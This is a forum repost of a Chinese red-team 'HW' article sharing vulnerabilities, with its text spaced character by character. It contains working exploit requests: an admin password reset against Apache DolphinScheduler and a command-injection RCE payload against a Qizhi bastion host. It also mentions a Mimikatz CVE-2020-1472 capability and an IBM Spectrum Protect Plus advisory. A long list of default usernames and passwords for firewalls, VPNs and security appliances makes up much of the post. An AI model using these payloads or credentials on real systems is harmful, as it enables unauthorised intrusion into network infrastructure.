搜索

[7484] 2020-09-16_HW第六天0day快递盒送...送不动了

文档创建者：s7ckTeam
浏览次数：0
最后更新：2025-01-17
2020-09-16_HW第六天0day快递盒送...送不动了 H W 第 六 天 : 0 d a y 快 递 盒 送 . . . 送 不 动 了 原 创   大 老 李   F 1 1 T e a m   2 0 2 0 - 0 9 - 1 6 收 录 于 话 题   # H W 行 动   , 8 个 最 近 两 天 这 么 消 停 ？ ？ 大 佬 们 献 出 手 里 的 d a y 吧     留 着 不 得 长 毛 嘛   （ 后 台 使 劲 戳 我 ） M i m i k a t z 新 版 也 支 持 新 版 也 支 持 C V E - 2 0 2 0 - 1 4 7 2 了 了
I B M   S p e c t r u m   P r o t e c t   P l u s 目 录 遍 历 与 任 意 代 码 执 行 漏 洞 （ 目 录 遍 历 与 任 意 代 码 执 行 漏 洞 （ C V E - 2 0 2 0 - 4 7 0 3 ） 通 告 ） 通 告 简 介 ： I B M   S p e c t r u m   P r o t e c t   P l u s 是 I B M 公 司 一 种 现 代 化 的 数 据 保 护 解 决 方 案 ， 可 为 混 合 多 云 环 境 中 的 V M ， 数 据 库 和 容 器 提 供 近 乎 即 时 的 恢 复 ， 复 制 ， 保 留 和 重 用 。 它 很 容 易 部 署 为 虚 拟 设 备 ， 并 且 无 代 理 架 构 易 于 维 护 。 它 通 过 提 高 开 发 ， 测 试 和 分 析 的 质 量 和 速 度 来 释 放 数 据 的 价 值 。 通 过 将 数 据 卸 载 到 本 地 和 基 于 云 的 对 象 存 储 以 及 I B M   S p e c t r u m   P r o t e c t （ 包 括 对 物 理 和 虚 拟 磁 带 的 支 持 ） ， 可 以 实 现 具 有 成 本 效 益 的 数 据 保 留 ， 数 据 合 规 性 和 灾 难 恢 复 。 详 情 ： I B M   S p e c t r u m   P r o t e c t   P l u s 管 理 控 制 台 可 以 允 许 经 过 身 份 验 证 的 攻 击 者 上 载 任 意 文 件 ， 这 些 文 件 可 以 在 易 受 攻 击 的 服 务 器 上 执 行 任 意 代 码 。 此 漏 洞 是 由 于 先 前 C V E - 2 0 2 0 - 4 4 7 0 （ I B M   S p e c t r u m   P r o t e c t P l u s 管 理 控 制 台 可 以 允 许 经 过 身 份 验 证 的 攻 击 者 上 载 任 意 文 件 ， 这 些 文 件 可 以 在 易 受 攻 击 的 服 务 器 上 执 行 任 意 代 码 ） 的 修 复 不 完 整 引 起 的 。 漏 洞 详 情 ： h t t p s : / / w w w . i b m . c o m / s u p p o r t / p a g e s / n o d e / 6 3 2 8 8 6 7 A p a c h e   D o l p h i n S c h e d u l e r 权 限 覆 盖 漏 洞 权 限 覆 盖 漏 洞 [ C V E - 2 0 2 0 - 1 3 9 2 2 ] , 默 认 密 码 : a d m i n / d o l p h i n s c h e d u l e r
齐 治 堡 垒 机 远 程 代 码 执 行 齐 治 堡 垒 机 远 程 代 码 执 行 ( j a v a 版 本 版 本 ) 设 备 弱 密 码 排 查 列 表 设 备 弱 密 码 排 查 列 表 绿 盟 安 全 产 品 默 认 密 码 排 查 列 表 绿 盟 安 全 产 品 默 认 密 码 排 查 列 表 另 外 在 打 架 的 时 候 发 现 通 达 老 版 本 的 洞   也 算 是 意 外 发 现 吧     H h h h h P O S T   / d o l p h i n s c h e d u l e r / u s e r s / u p d a t e i d = 1 & u s e r N a m e = a d m i n & u s e r P a s s w o r d = P a s s w o r d 1 ! & t e n a n t I d = 1 & e m a i l = s d l u s e r % 4 0 s d l u s e r . s d l u s e r & p h o n e = P O S T   / s h t e r m / l i s t e n e r / t u i _ u p d a t e . p h p a = [ " t ' ; i m p o r t   o s ; o s . p o p e n ( ' w h o a m i ' ) # " ] 天 融 信 防 火 墙   用 户 名 : s u p e r m a n   密 码 : t a l e n t 天 融 信 防 火 墙   用 户 名 : s u p e r m a n   密 码 : t a l e n t ! 2 3 联 想 网 御 防 火 墙   用 户 名 : a d m i n   密 码 : l e a d s e c @ 7 7 6 6 、 a d m i n i s t r a t o r 、 b a n e @ 7 7 6 6 深 信 服 防 火 墙   用 户 名 ： a d m i n   密 码 ： a d m i n 启 明 星 辰   用 户 名 ： a d m i n   密 码 ： b a n e @ 7 7 6 6   用 户 名 ： a d m i n   密 码 ： a d m i n @ 1 2 3 j u n i p e r   用 户 名 : n e t s c r e e n   密 码 : n e t s c r e e n C i s c o   用 户 名 : a d m i n   密 码 : c i s c o H u a w e i   用 户 名 : a d m i n   密 码 : A d m i n @ 1 2 3 H 3 C   用 户 名 : a d m i n   密 码 : a d m i n 绿 盟 I P S   用 户 名 :   w e b o p e r   密 码 :   w e b o p e r 网 神 防 火 墙 G E 1   用 户 名 ： a d m i n   密 码 ： f i r e w a l l 深 信 服 V P N ： 5 1 1 1 1 端 口       密 码 : d e l a n r e c o v e r 华 为 V P N ： 账 号 ： r o o t     密 码 ： m d u a d m i n 华 为 防 火 墙 ： a d m i n       密 码 : A d m i n @ 1 2 3 E u d e m o n J u n i p e r 防 火 墙 ： n e t s c r e e n         n e t s c r e e n 迪 普   1 9 2 . 1 6 8 . 0 . 1   默 认 的 用 户 名 和 密 码 （ a d m i n / a d m i n _ d e f a u l t ) 山 石   1 9 2 . 1 6 8 . 1 . 1   默 认 的 管 理 账 号 为 h i l l s t o n e ， 密 码 为 h i l l s t o n e 安 恒 的 明 御 防 火 墙   a d m i n / a d m i n a d m i n 某 堡 垒 机   s h t e r m / s h t e r m 天 融 信 的 v p n   t e s t / 1 2 3 4 5 6 I P S 入 侵 防 御 系 统 、 S A S H 运 维 安 全 管 理 系 统 、 S A S 安 全 审 计 系 统 、 D A S 数 据 库 审 计 系 统 、 R S A S 远 程 安 全 评 估 系 统 、 W A F   W E B 应 用 防 护 系 统 s y s a u d i t o r / s y s a u d i t o r s y s m a n a g e r / s y s m a n a g e r s u p e r v i s o r / s u p e r v i s o r m a i n t a i n e r / m a i n t a i n e r w e b p o l i c y / w e b p o l i c y s y s a d m i n / s y s a d m i n c o n a d m i n / c o n a d m i n s u p e r v i s / s u p e r v i s w e b a u d i t / w e b a u d i t s y s a d m i n / s y s a d m i n c o n a d m i n / n s f o c u s w e b o p e r / w e b o p e r a u d i t o r / a u d i t o r w e b o p e r / w e b o p e r n s a d m i n / n s a d m i n a d m i n / n s f o c u s a d m i n / a d m i n s h e l l / s h e l l

阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理